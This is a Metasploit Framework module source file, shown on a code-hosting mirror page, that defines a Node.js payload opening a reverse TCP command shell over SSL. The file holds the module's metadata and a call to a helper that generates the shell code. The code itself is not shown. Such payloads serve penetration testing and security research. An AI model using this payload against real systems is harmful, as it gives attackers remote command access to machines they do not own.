Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 831
8
9
include Msf::Payload::Single
10
include Msf::Payload::NodeJS
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Command Shell, Reverse TCP SSL (via nodejs)',
18
'Description' => 'Creates an interactive shell via nodejs, uses SSL',
19
'Author' => ['RageLtMan', 'joev'],
20
'License' => BSD_LICENSE,
21
'Platform' => 'nodejs',
22
'Arch' => ARCH_NODEJS,
23
'Handler' => Msf::Handler::ReverseTcpSsl,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'nodejs',
26
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
27
)
28
)
29
end
30
31
#
32
# Constructs the payload
33
#
34
def generate(_opts = {})
35
super + command_string
36
end
37
38
#
39
# Returns the JS string to use for execution
40
#
41
def command_string
42
nodejs_reverse_tcp(use_ssl: true)
43
end
44
end
45
46